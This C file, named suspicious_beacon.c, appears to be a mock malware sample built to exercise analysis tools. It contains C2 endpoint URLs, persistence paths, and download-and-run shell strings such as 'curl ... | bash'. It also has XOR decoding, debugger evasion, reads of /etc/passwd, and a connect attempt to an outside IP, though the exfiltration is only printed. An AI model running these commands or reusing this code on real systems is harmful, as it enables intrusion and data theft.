138 lines
3.4 KiB
C
138 lines
3.4 KiB
C
// ©AngelaMos | 2026
|
|
// suspicious_beacon.c
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <time.h>
|
|
|
|
static const char *C2_ENDPOINTS[] = {
|
|
"http://185.234.72.19:8443/gate.php",
|
|
"http://91.215.85.142/api/v2/callback",
|
|
"https://cdn-update.evil-domain.com/check",
|
|
};
|
|
|
|
static const char *PERSISTENCE_PATHS[] = {
|
|
"/etc/cron.d/system-updater",
|
|
"/home/.config/autostart/helper.desktop",
|
|
"/usr/local/lib/libsystem_helper.so",
|
|
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
|
};
|
|
|
|
static const char *SUSPICIOUS_COMMANDS[] = {
|
|
"/bin/sh -c wget -q -O - | sh",
|
|
"curl -s http://185.234.72.19/payload | bash",
|
|
"chmod +x /tmp/.cache_helper && /tmp/.cache_helper",
|
|
"nohup /dev/shm/.x11_sess &",
|
|
"iptables -A INPUT -p tcp --dport 4444 -j ACCEPT",
|
|
};
|
|
|
|
static const char *CRYPTO_WALLETS[] = {
|
|
"bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh",
|
|
"0x71C7656EC7ab88b098defB751B7401B5f6d8976F",
|
|
};
|
|
|
|
static const char *ENCODED_PAYLOADS[] = {
|
|
"aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2FiY2RlZjEyMzQ=",
|
|
"cG93ZXJzaGVsbCAtZW5jIFpXTm9ieUFpU0dWc2JHOG=",
|
|
};
|
|
|
|
static char xor_key = 0x41;
|
|
|
|
static void xor_decode(char *buf, size_t len) {
|
|
for (size_t i = 0; i < len; i++) {
|
|
buf[i] ^= xor_key;
|
|
}
|
|
}
|
|
|
|
static int try_connect(const char *addr, int port) {
|
|
int fd = socket(AF_INET, SOCK_STREAM, 0);
|
|
if (fd < 0) return -1;
|
|
|
|
struct sockaddr_in sa;
|
|
memset(&sa, 0, sizeof(sa));
|
|
sa.sin_family = AF_INET;
|
|
sa.sin_port = htons(port);
|
|
inet_pton(AF_INET, addr, &sa.sin_addr);
|
|
|
|
int ret = connect(fd, (struct sockaddr *)&sa, sizeof(sa));
|
|
close(fd);
|
|
return ret;
|
|
}
|
|
|
|
static void collect_sysinfo(char *buf, size_t buflen) {
|
|
FILE *fp;
|
|
|
|
fp = fopen("/etc/hostname", "r");
|
|
if (fp) {
|
|
fgets(buf, buflen, fp);
|
|
fclose(fp);
|
|
}
|
|
|
|
fp = fopen("/etc/passwd", "r");
|
|
if (fp) {
|
|
char line[256];
|
|
while (fgets(line, sizeof(line), fp)) {}
|
|
fclose(fp);
|
|
}
|
|
|
|
fp = fopen("/proc/self/maps", "r");
|
|
if (fp) {
|
|
char line[512];
|
|
while (fgets(line, sizeof(line), fp)) {}
|
|
fclose(fp);
|
|
}
|
|
}
|
|
|
|
static int detect_debugger(void) {
|
|
FILE *fp = fopen("/proc/self/status", "r");
|
|
if (!fp) return 0;
|
|
|
|
char line[256];
|
|
while (fgets(line, sizeof(line), fp)) {
|
|
if (strncmp(line, "TracerPid:", 10) == 0) {
|
|
int pid = atoi(line + 10);
|
|
fclose(fp);
|
|
return pid != 0;
|
|
}
|
|
}
|
|
fclose(fp);
|
|
return 0;
|
|
}
|
|
|
|
int main(void) {
|
|
if (detect_debugger()) {
|
|
puts("Nothing to see here.");
|
|
return 0;
|
|
}
|
|
|
|
srand((unsigned)time(NULL));
|
|
int endpoint_idx = rand() % 3;
|
|
|
|
char sysinfo[256];
|
|
memset(sysinfo, 0, sizeof(sysinfo));
|
|
collect_sysinfo(sysinfo, sizeof(sysinfo));
|
|
|
|
char encoded[] = "aHR0cHM6Ly9leGFtcGxlLmNvbS9jaGVjaw==";
|
|
xor_decode(encoded, strlen(encoded));
|
|
|
|
for (int attempt = 0; attempt < 5; attempt++) {
|
|
printf("Beacon attempt %d to %s\n", attempt, C2_ENDPOINTS[endpoint_idx]);
|
|
|
|
if (try_connect("185.234.72.19", 8443) == 0) {
|
|
printf("Connected. Exfiltrating %zu bytes.\n", strlen(sysinfo));
|
|
break;
|
|
}
|
|
|
|
unsigned int delay = 30 + (rand() % 60);
|
|
printf("Sleeping %u seconds before retry...\n", delay);
|
|
sleep(1);
|
|
}
|
|
|
|
return 0;
|
|
}
|